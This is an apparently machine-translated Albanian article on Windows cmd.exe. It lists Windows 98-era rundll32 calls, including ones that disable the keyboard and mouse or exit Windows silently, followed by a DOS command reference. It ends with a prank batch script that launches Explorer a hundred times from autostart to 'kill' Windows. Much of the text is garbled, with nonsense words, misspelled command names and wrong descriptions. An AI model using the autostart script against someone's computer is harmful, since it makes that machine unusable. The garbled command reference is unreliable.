set - output, detyrë dhe heqjen e variablave të mjedisit cmd.exe. Pronat e sistemit (Ave. "My Comp") - Përveç kësaj - variablat e mjedisit. Nuk ka të gjitha variablat, por shumë! Të gjithë duken vetëm të vendosur.
Nga rruga, këtu janë disa komanda rundll që mund të përdoren kur krijojnë skedarë grumbull

përdorues rundll32, wnetdisconnectialog
Dritarja "Çaktivizo një disk të rrjetit" Thirrje

përdorues rundll32, disableeEeMlayer
Dështimi për të parë

rUNDLL32 përdorues, REPLAINTSCREEN
Refresh (as)

përdorues rundll32, setcsursorpos
Maus-kursori u largua për të vënë

rundll32 diskcopy, diskcopirundll
Window "Copy Disk" Thirrje

rundll32 rnaui.dll, rnawizard / 1
Dialogu "Communication Communication" (/ 1 \u003d pa dritare)

rundll32 shell, Shellexecute
Dritarja e eksploruesit të hapur në dosjen e këmbëve

rundll32 shell32, openas_rundll
Dritarja "e hapur me ..." Thirrje ***

rundll32 shell32, shformatdrive
Dritarja "mashtruese: disk3.5 (a)" Thirrje

rundll32 shell32, shellabouta
Info-kuti (rreth Windows) Thirrje

rundll32 shell32, shexitwindowsex 0
Windows 98 filloi (pa AutoExec.bat dhe PD.)

rundll32 shell32, shexitwindowsex 1
Puna me Windows 98 përfundojë

rundll32 shell32, shexitwindowsex 2
Windows-98-PC boot

rundll32 shell32, shexitwindowsex -1
Windows-98-Explorer filloi përsëri

rundll32 shell32, control_rundll
Hapni dritaren e panelit të inppress

rundll32 shell32, control_rundll desk.cpl
Hapni "Pronat Eknaran"

rundll32 shell32, control_rundll main.cpl
Hapni panelet e modulit të YPPulation nga Main.CPL **

rundll32 krnl386.exe, exitKernel
dalja nga dritaret pa ndonjë mesazh / pyetje

përdorues rundll32, swapmousbutton
"Shko" çelësat e miut *

rundll32 tastierë, çaktivizoni
"Çaktivizo" keyimpy *

rundll32 Mouse, Disable
"Çaktivizo" miun *

rundll rnaui.dll, rnadial "propy"
Telefononi dritaren "Install Communication" me emrin "PPWOP"

përdorues rundll32, tilechildwindows
përshtatni të gjitha dritaret jo të ftohura të furrës poshtë

përdorues rundll32, cascadechildwindows
fitoni të gjitha kaskadat jo-Windows

rundll32 sysdm.cpl, instaluardevice_rundll
(Uniteti. Opportunity në W98) Krijimi i çizme jo-plug & play

rundll32 msprint2.dll, runll_printtestpage
telefononi në menunë që shfaqet në meny dhe dërgoni një test

rundll32 përdorues, setcaretblinktime
frekuenca e re e kinpsup i ministrit *

përdorues rundll32, setdoubleclicktime
reinstall shpejtësinë e re të shtypjes së dyfishtë *

rundll32 setupx.dll, instaloni
Defaultinstall 130; C: \\ file.inf
window "Sistemi perezapysk. Jepni tani? Kommersant / Jo B "****

Assoc - tregon ose modifikon komunikimin e zgjerimeve të skedarëve
Në - planet për të ekzekutuar komandat dhe programet në kompjuter.
ATTROL - Shfaq ose ndryshon atributet e skedarëve.
Pushim ose anulon kontrollin e kombinimit.
CACLS - Shfaq ose modifikon listat e kontrollit të qasjes (ACLS) për skedarët.
Thirrni - Thirrni një skedar * .bat nga një tjetër.
CD - tregon emrin ose ndryshon emrin e dosjes aktuale.
CHCP - tregon ose përcakton numrin e kodit aktiv.
CDIR - tregon emrin ose ndryshon emrin e dosjes aktuale.
CHKDSK - kontrollon diskun dhe tregon një raport shtetëror.
CLS - pastron ekranin.
CMD - fillon një shembull të ri të përkthyesit të Windows NT.
Ngjyra - përcakton ngjyrat e paracaktuara për tastierën e përparme dhe të pasme.
Komanda - fillon një kopje të re të përkthyesit të komandës së Windows.
Comp - krahason përmbajtjen e dy dosjeve ose instalimit të dosjeve.
Compact - tregon ose modifikon compression file në Windows NT Patricians (NTFS).
Convert - konverton volumet e yndyrës në formatin e sistemit të skedarëve Windows NT (NTFS). Ju nuk mund të konvertojë diskun aktual.
Kopjoni - kopjon një ose më shumë skedarë në një vend tjetër.
CTTY - ndryshon pajisjen e terminalit të përdorur për të menaxhuar sistemin tuaj.
Data - tregon ose përcakton datën.
Del - fshin një ose më shumë skedarë.
Debug - ekzekuton debugging, testimin e programeve dhe mjetet e redaktimit.
Dir - Shfaq një listë të skedarëve dhe subdirectory në dosjen.
Diskcomp - krahason përmbajtjen e dy disketeve.
Diskcopy - kopjon përmbajtjen e një floppy në një tjetër.
Doskey - redakton rreshtat e komandës, rikthen komandat e dritareve dhe krijon një makro.
Echo - tregon mesazhe, ose të kthehet në / off output komandës.
Emm386 - Aktivizon / çaktivizon mbështetjen për kujtesën EMM386 të zgjeruar.
Endlocal - duke i dhënë fund lokalizimit të ndryshimeve mjedisore në skedarin * .bat.
Erase - fshin një ose më shumë skedarë.
Dalja - ndalon ekzekutimin e programit (përkthyesi i komandës).
Ekstrakti është një mjet për nxjerrjen e informacionit nga skedarët e taksive.
FC - krahason dy skedarë ose instalime të skedarëve, dhe tregon dallimin mes tyre.
Gjeni - duke kërkuar për një varg teksti në një skedar ose skedarë.
Findstr - Kërko për vargjet në skedarë.
Për - ekzekuton komandën e specifikuar për çdo skedar në skedarin e caktuar.
Formati - formatet disk për përdorim me Windows.
FTTYPE - tregon ose modifikon llojet e skedarëve të përdorur në lidhjet e zgjerimit.
Goto - udhëzon përkthyesin e komandës së Windows NT në vijën e etiketuar në skedarin * .bat.
GRALTABL - Dritaret Aftësia për të shfaqur karaktere pseudografike të ftuara në mënyrë grafike.
Ndihmë - ofron informacion të ndihmës për komandat e Windows.
Nëse - kryen përpunimin e gjendjes në skedarin * .bat.
Keyb - konfiguron tastierën për një gjuhë të caktuar.
Etiketa - krijon, ndryshon, ose heq një etiketë çift rrotulluese në disk.
Loadhigh (LH) - shkarkon programin në adresën e memories së sipërme.
MD - krijon një direktori.
MEM - tregon sasinë dhe kujtesën e lirë në sistemin tuaj.
MKDIR - krijon një direktori.
Modaliteti - Konfiguroni pajisjen e sistemit.
Më shumë - tregon prodhimin e një ekran në një kohë.
Lëvizni - lëviz një ose më shumë skedarë nga një direktori në tjetrën në të njëjtin disk.
NETSTAT - tregon statistikat e protokollit dhe lidhjet aktuale të rrjetit TCP / IP.
NLSFunc - shkarkon informacion specifik për vendin.
Rruga - tregon ose vendos rrugën e kërkimit për skedarët e ekzekutueshëm.
Pauzë - pezullon përpunimin e skedarit * .bat dhe tregon mesazhin.
POPD - Rivendos vlerën e mëparshme të dosjes aktuale të ruajtur nga Pushd.
Print - printon një skedar teksti.
Prompt - ndryshon të shpejtë në komandat e Windows.
Pushd - kursen dosjen e tanishme, pastaj ndryshon.
Rd - Deletes directory.
Recover - rikthen informacionin e lexueshëm nga një disk i keq ose i dëmtuar.
REM - shkruan komentet (shënime) në * .bat files ose config.sys.
Ren - riemëron skedarin ose skedarët.
Rename - riemëroni skedarin ose skedarët.
Replace - zëvendëson skedarët.
Rivendosni - rikthen skedarët që janë arkivuar duke përdorur komandën rezervë.
RMDIR - heq direktorinë.
Set - Shfaq, vendos ose fshin variablet e mjedisit të Windows.
SetLocal - fillon lokalizimin e ndryshimeve në skedarin * .bat.
Setver - përcakton numrin e versionit MS-DOS që Windows raporton programin.
Shift - ndryshon pozicionin e parametrave të zëvendësueshme në skedarin * .bat.
SmartDRV - Instalon dhe konfiguron Smart Disk Caching Utility - Drive.
Rendit - rendit rrjedhën e hyrjes.
Start - fillon një dritare të veçantë për të kryer programin ose komandën e specifikuar.
Subst - lidh rrugën me një pjatë.
Sys - kopjon skedarët e sistemit MS-DOS dhe komandat e përkthyesit në makinën që keni specifikuar.
Koha - tregon ose vendos kohën e sistemit.
Titulli - vendos kokën e dritares për një seancë.
Tree - tregon grafikisht strukturën e direktorisë në makinë ose në rrugën.
Lloji - tregon përmbajtjen e skedarit të tekstit.
Ver - tregon versionin e Windows.
Verifikoni - raporton Windows, qoftë për të kontrolluar korrektësinë e regjistrimit të skedarit në disk.
Vol - tregon një etiketë të volumit të diskut dhe numrin serial.
XCOPY - kopjon skedarët dhe drejtoritë e pemëve.

Epo, nëse doni të "vrasin" dritaret atëherë:
@echo off.
sTART EXPLORER.
sTART EXPLORER.
sTART EXPLORER.
sTART EXPLORER - Përsëriteni 100 herë 100 dhe përshkruani në autoload.